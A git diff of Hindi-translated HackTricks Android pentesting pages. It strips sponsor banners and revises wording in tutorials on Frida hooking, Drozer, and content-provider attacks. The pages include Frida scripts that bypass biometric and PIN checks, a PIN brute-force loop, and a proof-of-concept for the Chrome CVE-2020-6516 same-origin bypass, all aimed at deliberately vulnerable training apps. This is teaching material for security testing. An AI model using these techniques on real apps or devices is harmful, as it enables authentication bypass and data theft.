@@ AndroL4b एक Android सुरक्षा वर्चुअल मशीन - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) -## अभी आजमाना बाकी है +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index 1d1ac5dbc..b6f21b697 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -अपने **मोबाइल सुरक्षा** में विशेषज्ञता को 8kSec अकादमी के साथ गहरा करें। हमारे आत्म-गति पाठ्यक्रमों के माध्यम से iOS और एंड्रॉइड सुरक्षा में महारत हासिल करें और प्रमाणित हों: - -{% embed url="https://academy.8ksec.io/" %} - ## **विधि 1 – बिना क्रिप्टो ऑब्जेक्ट उपयोग के बायपास करना** -यहाँ ध्यान _onAuthenticationSucceeded_ कॉलबैक पर है, जो प्रमाणीकरण प्रक्रिया में महत्वपूर्ण है। WithSecure के शोधकर्ताओं ने एक [Frida स्क्रिप्ट](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) विकसित की, जो _onAuthenticationSucceeded(...)_ में NULL _CryptoObject_ के बायपास की अनुमति देती है। यह स्क्रिप्ट विधि के आह्वान पर फिंगरप्रिंट प्रमाणीकरण का स्वचालित बायपास करने के लिए मजबूर करती है। नीचे एक सरल स्निपेट है जो एंड्रॉइड फिंगरप्रिंट संदर्भ में बायपास को प्रदर्शित करता है, पूर्ण एप्लिकेशन [GitHub](https://github.com/St3v3nsS/InsecureBanking) पर उपलब्ध है। +यहाँ ध्यान _onAuthenticationSucceeded_ कॉलबैक पर है, जो प्रमाणीकरण प्रक्रिया में महत्वपूर्ण है। WithSecure के शोधकर्ताओं ने एक [Frida स्क्रिप्ट](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) विकसित की, जो _onAuthenticationSucceeded(...)_ में NULL _CryptoObject_ के बायपास को सक्षम बनाती है। यह स्क्रिप्ट विधि के आह्वान पर फिंगरप्रिंट प्रमाणीकरण का स्वचालित बायपास करने के लिए मजबूर करती है। नीचे एक सरल स्निपेट है जो एंड्रॉइड फिंगरप्रिंट संदर्भ में बायपास को प्रदर्शित करता है, पूरी एप्लिकेशन [GitHub](https://github.com/St3v3nsS/InsecureBanking) पर उपलब्ध है। ```javascript biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { @Override @@ -31,7 +25,7 @@ Command to run the Frida script: ```bash frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js ``` -फिंगरप्रिंट स्क्रीन पर पहुँचने और `authenticate()` शुरू करने पर, बायपास सक्रिय करने के लिए फ्रिडा कंसोल में `bypass()` टाइप करें: +फिंगरप्रिंट स्क्रीन पर पहुँचने और `authenticate()` शुरू करने पर, बायपास सक्रिय करने के लिए Frida कंसोल में `bypass()` टाइप करें: ``` Spawning com.generic.insecurebankingfingerprint... [Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()... @@ -69,10 +63,5 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in - [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) -
- -**मोबाइल सुरक्षा** में अपनी विशेषज्ञता को गहरा करें 8kSec अकादमी के साथ। हमारे आत्म-गति पाठ्यक्रमों के माध्यम से iOS और Android सुरक्षा में महारत हासिल करें और प्रमाणित हों: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index 2d133cf01..6b93ac336 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,9 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - **यह पोस्ट का सारांश है [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** ### मीडिया स्टोर में फ़ाइलें सूचीबद्ध करना @@ -12,15 +8,15 @@ ```bash $ content query --uri content://media/external/file ``` -एक अधिक मानव-अनुकूल आउटपुट के लिए, प्रत्येक अनुक्रमित फ़ाइल की केवल पहचानकर्ता और पथ प्रदर्शित करें: +एक अधिक मानव-अनुकूल आउटपुट के लिए, प्रत्येक अनुक्रमित फ़ाइल के केवल पहचानकर्ता और पथ को प्रदर्शित करना: ```bash $ content query --uri content://media/external/file --projection _id,_data ``` -सामग्री प्रदाता अपने निजी नामस्थान में अलग-थलग होते हैं। किसी प्रदाता तक पहुँचने के लिए विशिष्ट `content://` URI की आवश्यकता होती है। किसी प्रदाता तक पहुँचने के लिए पथों की जानकारी एप्लिकेशन मैनिफेस्ट या Android ढांचे के स्रोत कोड से प्राप्त की जा सकती है। +सामग्री प्रदाता अपने निजी नामस्थान में अलग-थलग होते हैं। किसी प्रदाता तक पहुँचने के लिए विशेष `content://` URI की आवश्यकता होती है। प्रदाता तक पहुँचने के लिए पथों की जानकारी एप्लिकेशन मैनिफेस्ट या Android ढांचे के स्रोत कोड से प्राप्त की जा सकती है। ### Chrome का सामग्री प्रदाताओं तक पहुँच -Android पर Chrome `content://` योजना के माध्यम से सामग्री प्रदाताओं तक पहुँच सकता है, जिससे यह तीसरे पक्ष के अनुप्रयोगों द्वारा निर्यात की गई फ़ोटो या दस्तावेज़ जैसी संसाधनों तक पहुँच प्राप्त कर सकता है। इसे स्पष्ट करने के लिए, एक फ़ाइल को मीडिया स्टोर में डाला जा सकता है और फिर Chrome के माध्यम से पहुँचा जा सकता है: +Android पर Chrome `content://` योजना के माध्यम से सामग्री प्रदाताओं तक पहुँच सकता है, जिससे यह तीसरे पक्ष के एप्लिकेशनों द्वारा निर्यातित फ़ोटो या दस्तावेज़ जैसी संसाधनों तक पहुँच प्राप्त कर सकता है। इसे स्पष्ट करने के लिए, एक फ़ाइल को मीडिया स्टोर में डाला जा सकता है और फिर Chrome के माध्यम से पहुँचा जा सकता है: मीडिया स्टोर में एक कस्टम प्रविष्टि डालें: ```bash @@ -36,7 +32,7 @@ content query --uri content://media/external/file \ --projection _id,_data | grep test.txt # Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt ``` -फाइल को फिर Chrome में फाइल के पहचानकर्ता के साथ बनाए गए URL का उपयोग करके देखा जा सकता है। +फाइल को फिर Chrome में उस फाइल के पहचानकर्ता के साथ बनाए गए URL का उपयोग करके देखा जा सकता है। उदाहरण के लिए, किसी विशेष एप्लिकेशन से संबंधित फाइलों की सूची बनाने के लिए: ```bash @@ -48,7 +44,7 @@ _समान मूल नीति_ (SOP) एक सुरक्षा प् हालांकि, CVE-2020-6516 एक कमजोर बिंदु था जो Chrome में `content://` URL के माध्यम से लोड किए गए संसाधनों के लिए SOP नियमों को बायपास करने की अनुमति देता था। प्रभावी रूप से, `content://` URL से JavaScript कोड अन्य संसाधनों तक पहुँच सकता था जो `content://` URLs के माध्यम से लोड किए गए थे, जो एक महत्वपूर्ण सुरक्षा चिंता थी, विशेष रूप से Android उपकरणों पर जो Android 10 से पहले के संस्करण चला रहे थे, जहां स्कोप्ड स्टोरेज लागू नहीं किया गया था। -नीचे दिए गए प्रमाण-का-धारणा इस कमजोर बिंदु को प्रदर्शित करता है, जहां एक HTML दस्तावेज़, जिसे **/sdcard** के तहत अपलोड किया गया है और मीडिया स्टोर में जोड़ा गया है, अपने JavaScript में `XMLHttpRequest` का उपयोग करके मीडिया स्टोर में एक अन्य फ़ाइल की सामग्री को एक्सेस और प्रदर्शित करता है, SOP नियमों को बायपास करता है। +नीचे दिए गए प्रमाण-का-धारणा इस कमजोर बिंदु को प्रदर्शित करता है, जहां एक HTML दस्तावेज़, जिसे **/sdcard** के तहत अपलोड किया गया और मीडिया स्टोर में जोड़ा गया, अपने JavaScript में `XMLHttpRequest` का उपयोग करके मीडिया स्टोर में एक अन्य फ़ाइल की सामग्री को एक्सेस और प्रदर्शित करता है, SOP नियमों को बायपास करता है। Proof-of-Concept HTML: ```xml @@ -79,8 +75,4 @@ xhr.send(); ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 9ba1353ac..708c8c6c4 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,38 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} - -**बग बाउंटी टिप**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें! -{% embed url="https://go.intigriti.com/hacktricks" %} - -## परीक्षण के लिए APKs +## APKs to test - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs से) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **इस ट्यूटोरियल के कुछ भाग** [**Drozer दस्तावेज़ pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** से निकाले गए हैं।** -## स्थापना +## Installation -अपने होस्ट के अंदर Drozer Client स्थापित करें। इसे [लेटेस्ट रिलीज़](https://github.com/mwrlabs/drozer/releases) से डाउनलोड करें। +Drozer Client को अपने होस्ट के अंदर इंस्टॉल करें। इसे [latest releases](https://github.com/mwrlabs/drozer/releases) से डाउनलोड करें। ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` -drozer APK को [latest releases](https://github.com/mwrlabs/drozer/releases) से डाउनलोड और इंस्टॉल करें। इस समय यह [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk) है। +डाउनलोड करें और [latest releases](https://github.com/mwrlabs/drozer/releases) से drozer APK इंस्टॉल करें। इस समय यह [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk) है। ```bash adb install drozer.apk ``` ### सर्वर शुरू करना -एजेंट पोर्ट 31415 पर चल रहा है, हमें [port forward](https://en.wikipedia.org/wiki/Port_forwarding) करना होगा ताकि Drozer Client और Agent के बीच संचार स्थापित किया जा सके, यहाँ ऐसा करने के लिए कमांड है: +एजेंट पोर्ट 31415 पर चल रहा है, हमें [port forward](https://en.wikipedia.org/wiki/Port_forwarding) करना होगा ताकि Drozer Client और एजेंट के बीच संचार स्थापित किया जा सके, इसे करने के लिए यहां कमांड है: ```bash adb forward tcp:31415 tcp:31415 ``` -अंत में, **लॉन्च** करें **एप्लिकेशन** और नीचे "**ON**" बटन दबाएं +अंत में, **ऐप्लिकेशन** को **लॉन्च** करें और नीचे "**ON**" बटन दबाएं। ![](<../../../images/image (459).png>) @@ -51,7 +47,7 @@ drozer console connect | **clean** | एंड्रॉइड डिवाइस पर drozer द्वारा संग्रहीत अस्थायी फ़ाइलें हटा दें। | | **load** | drozer कमांड वाले फ़ाइल को लोड करें और उन्हें अनुक्रम में निष्पादित करें। | | **module** | इंटरनेट से अतिरिक्त drozer मॉड्यूल खोजें और स्थापित करें। | -| **unset** | एक नामित चर को हटा दें जिसे drozer किसी भी लिनक्स शेल में पास करता है जिसे यह उत्पन्न करता है। | +| **unset** | एक नामित चर को हटा दें जिसे drozer किसी भी लिनक्स शेल में पास करता है जिसे यह उत्पन्न करता है। | | **set** | एक मान को एक चर में संग्रहीत करें जिसे drozer द्वारा उत्पन्न किसी भी लिनक्स शेल में पर्यावरणीय चर के रूप में पास किया जाएगा। | | **shell** | एजेंट के संदर्भ में डिवाइस पर एक इंटरैक्टिव लिनक्स शेल शुरू करें। | | **run MODULE** | एक drozer मॉड्यूल निष्पादित करें | @@ -60,7 +56,7 @@ drozer console connect ### पैकेज -**नाम** खोजें जो नाम के भाग द्वारा फ़िल्टर किया गया है: +**नाम** का पता लगाएं जो नाम के भाग द्वारा फ़िल्टर किया गया है: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve @@ -119,7 +115,7 @@ com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` -**Start activity**: +**गतिविधि शुरू करें**: शायद आप एक गतिविधि शुरू कर सकते हैं और कुछ प्रकार की प्राधिकरण को बायपास कर सकते हैं जो आपको इसे लॉन्च करने से रोकनी चाहिए। ```bash @@ -134,7 +130,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### सामग्री प्रदाता -यह पोस्ट यहाँ इतनी बड़ी थी कि **आप** [**इसे अपनी पृष्ठ पर यहाँ एक्सेस कर सकते हैं**](exploiting-content-providers.md). +यह पोस्ट यहाँ इतनी बड़ी थी कि **आप इसे** [**यहाँ अपनी पृष्ठ पर एक्सेस कर सकते हैं**](exploiting-content-providers.md). ### सेवाएँ @@ -142,7 +138,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ```markup ``` -कोड के अंदर **check** करें कि \*\*`handleMessage`\*\* फ़ंक्शन **message** को **receive** करेगा: +कोड के अंदर **check** करें कि \*\*`handleMessage`\*\* फ़ंक्शन **receive** करेगा **message**: ![](<../../../images/image (82).png>) @@ -191,7 +187,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ```bash run app.broadcast.info #Detects all ``` -#### किसी ऐप के ब्रॉडकास्ट रिसीवर्स की जांच करें +#### एक ऐप के ब्रॉडकास्ट रिसीवर्स की जांच करें ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva @@ -220,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu ``` #### संदेश भेजें -इस उदाहरण में [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider का दुरुपयोग करते हुए आप **किसी भी गैर-प्रीमियम गंतव्य को मनचाहा SMS** **बिना अनुमति** मांगे भेज सकते हैं। +इस उदाहरण में [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider का दुरुपयोग करते हुए आप **किसी भी गैर-प्रीमियम गंतव्य पर मनचाहा SMS** **बिना अनुमति** मांगे भेज सकते हैं। ![](<../../../images/image (415).png>) @@ -254,10 +250,6 @@ run app.package.debuggable - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) - -**Bug bounty tip**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 9f25c68d9..4454a7a8f 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -2,15 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Installation -Install **frida tools**: +**frida tools** स्थापित करें: ```bash pip install frida-tools pip install frida @@ -33,23 +28,23 @@ frida-ps -U | grep -i #Get all the package name **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**Follow the [link to read it](frida-tutorial-1.md).** +**[लिंक पर पढ़ें](frida-tutorial-1.md)।** ### [Tutorial 2](frida-tutorial-2.md) **From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**APKs और Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**Follow the[ link to read it.](frida-tutorial-2.md)** +**[लिंक पर पढ़ें।](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) **From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**Follow the [link to read it](owaspuncrackable-1.md).** +**[लिंक पर पढ़ें](owaspuncrackable-1.md)।** -**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**आप यहाँ और शानदार Frida स्क्रिप्ट्स पा सकते हैं:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## Quick Examples @@ -110,7 +105,7 @@ send("MainActivity.onCreate() HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -एंड्रॉइड `.onCreate()` को हुक करें +Android के `.onCreate()` को हुक करें ```javascript var activity = Java.use("android.app.Activity") activity.onCreate.overload("android.os.Bundle").implementation = function ( @@ -164,7 +159,7 @@ return ret ``` ### पहले से बनाए गए क्लास के ऑब्जेक्ट को प्राप्त करना -यदि आप किसी बनाए गए ऑब्जेक्ट का कुछ गुण निकालना चाहते हैं, तो आप इसका उपयोग कर सकते हैं। +यदि आप किसी बनाए गए ऑब्जेक्ट के कुछ गुण निकालना चाहते हैं, तो आप इसका उपयोग कर सकते हैं। इस उदाहरण में, आप देखेंगे कि कैसे my_activity क्लास का ऑब्जेक्ट प्राप्त किया जाए और कैसे .secret() फ़ंक्शन को कॉल किया जाए जो ऑब्जेक्ट के एक निजी गुण को प्रिंट करेगा: ```javascript @@ -182,10 +177,5 @@ onComplete: function () {}, - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) - [Advanced Frida Usage ब्लॉग श्रृंखला का भाग 1: IOS एन्क्रिप्शन पुस्तकालय](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -
- -**बग बाउंटी टिप**: **साइन अप** करें **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index 0330fb915..dfe93863b 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -2,21 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**बग बाउंटी टिप**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} - **यह पोस्ट का सारांश है**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **स्रोत कोड**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) ## Python -Frida आपको **चल रही एप्लिकेशन** के फ़ंक्शनों के अंदर **JavaScript कोड** **डालने** की अनुमति देता है। लेकिन आप **python** का उपयोग **हुक्स** को **कॉल** करने और यहां तक कि **हुक्स** के साथ **इंटरैक्ट** करने के लिए कर सकते हैं। +Frida आपको **JavaScript कोड** को एक चल रहे एप्लिकेशन के कार्यों के अंदर **डालने** की अनुमति देता है। लेकिन आप **python** का उपयोग **hooks** को **call** करने और यहां तक कि **hooks** के साथ **interact** करने के लिए कर सकते हैं। -यह एक आसान python स्क्रिप्ट है जिसका आप इस ट्यूटोरियल में सभी प्रस्तावित उदाहरणों के साथ उपयोग कर सकते हैं: +यह एक आसान python स्क्रिप्ट है जिसे आप इस ट्यूटोरियल में सभी प्रस्तावित उदाहरणों के साथ उपयोग कर सकते हैं: ```python #hooking.py import frida, sys @@ -39,7 +33,7 @@ frida -U --no-pause -l hookN.js -f infosecadventures.fridademo ``` ## Hook 1 - Boolean Bypass -यहाँ आप देख सकते हैं कि कैसे एक **hook** एक **boolean** विधि (_checkPin_) को वर्ग: _infosecadventures.fridademo.utils.PinUtil_ से किया जाता है। +यहाँ आप देख सकते हैं कि कैसे एक **hook** एक **boolean** विधि (_checkPin_) से क्लास: _infosecadventures.fridademo.utils.PinUtil_ ```javascript //hook1.js Java.perform(function () { @@ -61,7 +55,7 @@ python hooking.py hook1.js ### नॉन-स्टैटिक फ़ंक्शन -यदि आप किसी क्लास के नॉन-स्टैटिक फ़ंक्शन को कॉल करना चाहते हैं, तो आपको **पहले उस क्लास का एक उदाहरण** चाहिए। फिर, आप उस उदाहरण का उपयोग करके फ़ंक्शन को कॉल कर सकते हैं।\ +यदि आप किसी क्लास का नॉन-स्टैटिक फ़ंक्शन कॉल करना चाहते हैं, तो आपको **पहले उस क्लास का एक उदाहरण** चाहिए। फिर, आप उस उदाहरण का उपयोग करके फ़ंक्शन को कॉल कर सकते हैं।\ इसके लिए, आप **एक मौजूदा उदाहरण खोज सकते हैं** और इसका उपयोग कर सकते हैं: ```javascript Java.perform(function () { @@ -98,9 +92,9 @@ console.log("[ + ] Found correct PIN: " + i) } }) ``` -## Hook 3 - तर्कों और लौटाए गए मान को पुनः प्राप्त करना +## Hook 3 - तर्कों और लौटाने के मान को प्राप्त करना -आप एक फ़ंक्शन को हुक कर सकते हैं और इसे **प्रिंट** करने के लिए बना सकते हैं **पारित तर्कों** का मान और **लौटाए गए मान** का मान: +आप एक फ़ंक्शन को हुक कर सकते हैं और इसे **प्रिंट** करने के लिए बना सकते हैं **पारित तर्कों** का मान और **लौटाने के मान** का मान: ```javascript //hook3.js Java.perform(function () { @@ -120,14 +114,9 @@ return encrypted_ret ``` ## महत्वपूर्ण -इस ट्यूटोरियल में आपने विधियों को विधि के नाम और _.implementation_ का उपयोग करके हुक किया है। लेकिन यदि **एक ही नाम वाली एक से अधिक विधियाँ** थीं, तो आपको **उस विधि को निर्दिष्ट करने की आवश्यकता होगी** जिसे आप हुक करना चाहते हैं **आर्गुमेंट्स के प्रकार को इंगित करते हुए**। +इस ट्यूटोरियल में आपने विधियों को विधि के नाम और _.implementation_ का उपयोग करके हुक किया है। लेकिन यदि **एक ही नाम वाली एक से अधिक विधियाँ** थीं, तो आपको **विधि को निर्दिष्ट करने** की आवश्यकता होगी जिसे आप हुक करना चाहते हैं **आर्गुमेंट्स के प्रकार को इंगित करते हुए**। आप इसे [अगले ट्यूटोरियल](frida-tutorial-2.md) में देख सकते हैं। -
- -**बग बाउंटी टिप**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index 50db52a5f..348f3c2d0 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -2,24 +2,18 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**बग बाउंटी टिप**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} - **यह पोस्ट का सारांश है**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (भाग 2, 3 और 4)\ **APKs और स्रोत कोड**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) भाग 1 बहुत आसान है। -**मूल कोड के कुछ हिस्से काम नहीं करते हैं और यहाँ संशोधित किए गए हैं।** +**मूल कोड के कुछ भाग काम नहीं करते हैं और यहाँ संशोधित किए गए हैं।** ## भाग 2 -यहाँ आप देख सकते हैं कि कैसे **एक ही नाम की 2 फ़ंक्शंस को हुक करें** लेकिन अलग-अलग पैरामीटर के साथ।\ +यहाँ आप देख सकते हैं कि कैसे **एक ही नाम के 2 फ़ंक्शंस को हुक करें** लेकिन अलग-अलग पैरामीटर के साथ।\ इसके अलावा, आप सीखेंगे कि कैसे **अपने खुद के पैरामीटर के साथ एक फ़ंक्शन को कॉल करें**।\ -और अंत में, एक उदाहरण है कि कैसे **क्लास के एक उदाहरण को खोजें और उसे एक फ़ंक्शन कॉल करने के लिए बनाएं**। +और अंत में, यह एक उदाहरण है कि कैसे **क्लास के एक उदाहरण को खोजें और उसे एक फ़ंक्शन कॉल करने के लिए बनाएं**। ```javascript //s2.js console.log("Script loaded successfully "); @@ -54,7 +48,7 @@ onComplete: function () { } }); }); ``` -आप देख सकते हैं कि एक String बनाने के लिए पहले _java.lang.String_ क्लास को संदर्भित किया गया है और फिर उस क्लास का एक _$new_ ऑब्जेक्ट एक String के रूप में सामग्री के साथ बनाया गया है। यह किसी क्लास का नया ऑब्जेक्ट बनाने का सही तरीका है। लेकिन, इस मामले में, आप बस `this.fun()` को कोई भी String पास कर सकते हैं जैसे: `this.fun("hey there!")` +आप देख सकते हैं कि एक String बनाने के लिए पहले _java.lang.String_ क्लास का संदर्भ लिया गया है और फिर उस क्लास का एक _$new_ ऑब्जेक्ट एक String के रूप में सामग्री के साथ बनाया गया है। यह किसी क्लास का नया ऑब्जेक्ट बनाने का सही तरीका है। लेकिन, इस मामले में, आप बस `this.fun()` को कोई भी String पास कर सकते हैं जैसे: `this.fun("hey there!")` ### Python ```python @@ -208,12 +202,7 @@ return this.setText(string_to_recv) } }) ``` -भाग 5 है जिसे मैं समझाने वाला नहीं हूँ क्योंकि इसमें कुछ नया नहीं है। लेकिन अगर आप पढ़ना चाहते हैं तो यहा है: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) +भाग 5 है जिसे मैं समझाने नहीं जा रहा क्योंकि इसमें कुछ नया नहीं है। लेकिन अगर आप इसे पढ़ना चाहते हैं तो यहाँ है: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) -
